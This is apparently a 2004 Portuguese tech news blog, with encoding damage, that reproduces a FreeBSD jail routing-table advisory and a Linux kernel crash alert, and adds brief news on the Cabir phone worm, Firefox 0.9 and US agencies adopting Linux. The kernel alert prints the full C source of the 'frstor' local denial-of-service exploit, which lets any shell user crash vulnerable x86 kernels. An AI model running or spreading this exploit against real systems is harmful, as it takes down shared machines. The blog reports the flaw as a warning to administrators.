Processos Jailed possibilita manipular tabelas de rotas de hosts no FreeBSD

Artigo disponibilizado no sistema de avisos de seguran?a do projeto FreeBSD.

Abaixo segue o aviso seguran?a:

FreeBSD-SA-04:12.jailroute Security
Advisory
The FreeBSD
Project

Topic: Jailed processes can manipulate host routing tables

Category: core
Module: kernel
Announced: 2004-06-07
Credits: Pawel Malachowski
Affects: All FreeBSD 4.x releases prior to 4.10-RELEASE
Corrected: 2004-04-06 20:11:53 UTC (RELENG_4)
2004-06-07 17:44:44 UTC (RELENG_4_9, 4.9-RELEASE-p10)
2004-06-07 17:42:42 UTC (RELENG_4_8, 4.8-RELEASE-p23)
CVE Name: CAN-2004-0125
FreeBSD only: YES

For general information regarding FreeBSD Security Advisories,
including descriptions of the fields above, security branches, and the
following sections, please visit
.

I. Background

The jail(2) system call allows a system administrator to lock up a
process and all its descendants inside a closed environment with very
limited ability to affect the system outside that environment, even
for processes with superuser privileges. It is an extension of, but
far more stringent than, the traditional Unix chroot(2) system call.

The FreeBSD kernel maintains internal routing tables for the purpose
of determining which interface should be used to transmit packets.
These routing tables can be manipulated by user processes running
with superuser privileges by sending messages over a routing socket.

II. Problem Description

A programming error resulting in a failure to verify that an attempt
to manipulate routing tables originated from a non-jailed process.

III. Impact

Jailed processes running with superuser privileges could modify host
routing tables. This could result in a variety of consequences
including
packets being sent via an incorrect network interface and packets being
discarded entirely.

IV. Workaround

No workaround is available.

V. Solution

Do one of the following:

1) Upgrade your vulnerable system to 4.10-RELEASE, or to the RELENG_4_8
or RELENG_4_9 security branch dated after the correction date.

OR

2) Patch your present system:

The following patch has been verified to apply to the FreeBSD 4.8 and
4.9 systems.

a) Download the relevant patch from the location below, and verify the
detached PGP signature using your PGP utility.

# fetch
ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-04:12/jailroute.patch
# fetch
ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-04:12/jailroute.patch.asc

b) Apply the patch.

# cd /usr/src
# patch < /path/to/patchc) Recompile your kernel as described in
and reboot the
system.

VI. Correction details

The following list contains the revision numbers of each file that was
corrected in FreeBSD.

Branch
Revision
Path

————————————————————————-
RELENG_4
src/sys/net/rtsock.c
1.44.2.13
RELENG_4_9
src/UPDATING
1.73.2.89.2.11
src/sys/conf/newvers.sh
1.44.2.32.2.11
src/sys/net/rtsock.c
1.44.2.11.4.1
RELENG_4_8
src/UPDATING
1.73.2.80.2.26
src/sys/conf/newvers.sh
1.44.2.29.2.24
src/sys/net/rtsock.c
1.44.2.11.2.1

Falha cr?tica no Kernel do Gnu/Linux.

Segundo a fonte do alerta, o problema se manifesta quando o codigo em
questao e’ compilado com o GCC versoes 3.0, 3.1, 3.2, 3.3 ou 3.3.2, e
e’
executado em sistemas rodando o kernel do Linux nas versoes 2.4.2x ou
2.6.x em arquitetura x86. Sistemas utilizando os processadores AMD64
tambem podem ser afetadas.

O problema se torna mais serio devido ao fato do usuario que compila e
executa o programa nao necessitar ter acesso privilegiado ao sistema.
Assim, qualquer usuario que tenha acesso a um shell no sistema podera
causar o travamento da maquina.

Sistemas afetados:

Sistemas utilizando os seguintes kernels foram testados e sao
comprovadamente vulneraveis:

. Kernel Linux 2.6.x
. 2.6.7-rc2
. 2.6.6 (vanilla)
. 2.6.6-rc1 SMP
. 2.6.6 SMP
. 2.6.5-gentoo
. 2.6.5-mm6
. 2.6.5 (fedora core 2 vanilla)
. Kernel Linux 2.4.2x
. 2.4.26 vanilla
. 2.4.26, grsecurity 2.0 config
. 2.4.26-rc1 vanilla
. 2.4.26-gentoo-r1
. 2.4.22
. 2.4.22-1.2188 Fedora FC1 Kernel
. 2.4.18-bf2.4 (debian woody vanilla)
. Kernel com patches grsecurity
. Kernel 2.5.6 SMP
. Kernel 2.6.6 SMP do Linux.

Alem disso, outras versoes de kernel da serie 2.4 e 2.6 podem ser
afetadas
por esta vulnerabilidade.

Sistemas *nao* afetados:

O codigo malicioso nao causa qualquer estrago e termina exibindo a
mensagem de erro “Floating point exception” nos sistemas rodando as
seguintes versoes de kernel:

. Linux nudge 2.6.5-1um i686 (o kernel do User Mode Linux) Dylan
Smith
. Linux Kernel 2.6.4 SMP com o patch staircase scheduler Guille
aplicado
. Linux kernel 2.4.26-rc3-gentoo (gcc 3.3.3)
. Linux kernel 2.4.26_pre6-gentoo (gcc 3.3.2)
. Linux Kernel 2.4.25-gentoo-r1 Charles A. Haines (3G Publishing)
. 2.2.19-kernel
. kernel 2.6.5-1um do User Mode Linux. E’ possivel que outras
versoes de kernel do User Mode Linux tambem o sejam.

Correcoes disponiveis:

Para corrigir o problema recomenda-se a atualizacao do kernel e
aplicacao
de um patch para o kernel utilizado, de acordo com o que esta descrito
em:

http://linuxreviews.org/news/2004-06-11_kernel_crash/index.html

Mais informacoes:

.. New Kernel Crash-Exploit discovered
http://linuxreviews.org/news/2004-06-11_kernel_crash/index.html

Abaixo segue o c?digo fonte do progrma escrito em C:

/* ——————–
* frstor Local Kernel exploit
* Crashes any kernel from 2.4.18
* to 2.6.7 because frstor in assembler inline offsets in memory by 4.
* Original proof of concept code
* by [email protected]_nixia.no.
* Added some stuff by [email protected]_gnu.org
* and fixed the fsave line with (*fpubuf).
* ——————–
*/

/*
———
Some debugging information made
available by [email protected]_nixia.no
———
TakeDown:
pushl %ebp
movl %esp, %ebp
subl $136, %esp
leal -120(%ebp), %eax
movl %eax, -124(%ebp)
#APP
fsave -124(%ebp)

#NO_APP
subl $4, %esp
pushl $1
pushl $.LC0
pushl $2
call write
addl $16, %esp
leal -120(%ebp), %eax
movl %eax, -128(%ebp)
#APP
frstor -128(%ebp)

#NO_APP
leave
ret
*/

#include
#include
#include

static void TakeDown(int ignore)
{
char fpubuf[108];
// __asm__ __volatile__ (“fsave %0\n” : : “m”(fpubuf));
__asm__ __volatile__ (“fsave %0\n” : : “m”(*fpubuf));
write(2, “*”, 1);
__asm__ __volatile__ (“frstor %0\n” : : “m”(fpubuf));
}

int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, TakeDown);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec, NULL);
while(1)
write(1, “.”, 1);

return 0;
}
// < As administradores de rede um alerta.

Aparece o primeiro v?rus para celular

Demorou mas apareceu: o primeiro v?rus para celular se chama Cabir e atinge os celulares da s?rie 60 da Nokia. Os ?nicos danos causados por ele s?o consumir excessivamente a bateria e se transferir para outros aparelhos, atrav?s da tecnologia Bluetooth.

De acordo com essa reportagem: Ao ser enviado para um aparelho celular semelhante e com Bluetooth ativado, o Cabir envia um arquivo de instala??o (.sis) do Symbian. O usu?rio precisa aceitar o recebimento e acionar a instala??o do arquivo para ter seu telefone infectado. Para convencer a v?tima, o worm finge ser um arquivo do sistema de seguran?a do celular, chamado Caribe. Apesar de n?o ter sido identificado em outros sistemas, as fornecedoras de antiv?rus afirmam que o Cabir poderia infectar telefones de outros fabricantes e sistemas operacionais. De qualquer forma, o uso da tecnologia Bluetooth oferece, por si s?, algumas limita??es ? dissemina??o deste tipo de v?rus, incluindo o fato de que o alcance m?dio atual de aparelhos com Bluetooth ? de cerca de 10 metros.

http://informatica.terra.com.br/interna/0,,OI326189-EI559,00.html

Saiu o Mozilla Firefox 0.9

Ontem o Mozilla Firefox 0.9 foi oficialmente lan?ado. Entre as inova??es existentes da vers?o 0.8 para essa, est?o: F?cil migra??o, j? que a nova vers?o importa favoritos, hist?ricos, cookies e etc do Internet Explorer, Mozilla, Netscape ou Opera; o SmartUpdate, que avisa de novas vers?es do navegador; e um gerenciador de temas.

O download pode ser feito aqui.aqui

http://slashdot.org/articles/04/06/16/0023225.shtml?tid=126&tid=154&tid=95

Mais ?rg?os p?blicos dos EUA adotam Linux

De acordo com essa reportagem da Info, o AOUSC (Administrative Office of the US Courts – Escrit?rio Administrativo das Cortes dos Estados Unidos) est? migrando de seus sistemas Solaris para Linux. Para garantir o suporte, foi feito um contrato com a empresa BakBone Software, especializada em suporte a Linux. Al?m da AOUSC, outros ?rg?os p?blicos dos Estados Unidos j? adotaram o Linux. Entre eles: o Departamento de Agricultura, o Instituto Nacional de Sa?de, a Divis?o de Servi?os Comunit?rios da Marinha e o Comando de Sistemas Eletr?nicos das For?as A?reas.

Leia mais em:

http://info.abril.com.br/aberto/infonews/062004/14062004-4.shl

Falha grave no Kernel do Linux

Foi divulgada a descoberta de uma falha no Kernel do Linux. Esta falha faz com que um c?digo malicioso provoque um crash, travando todo o sistema. A falha atinge as vers?es 2.4.2x e 2.6.x nas arquiteturas x86 e x86_86.

O problema ocorre quando o c?digo malicioso – que pode ser visto aqui – ? compilado. O que torna o problema mais grave ? que para compilar o c?digo, o usu?rio n?o precisa ser root: qualquer user com acesso a shell pode faz?-lo.

Os patches para corre??o do problema j? est?o dispon?veis e podem ser baixados aqui:

http://www.linuxreviews.org/news/2004-06-11_kernel_crash/index.html#toc6 http://www.golivre.org/modules.php?name=News&file=article&sid=359 http://www.linuxreviews.org/news/2004-06-11_kernel_crash/index.html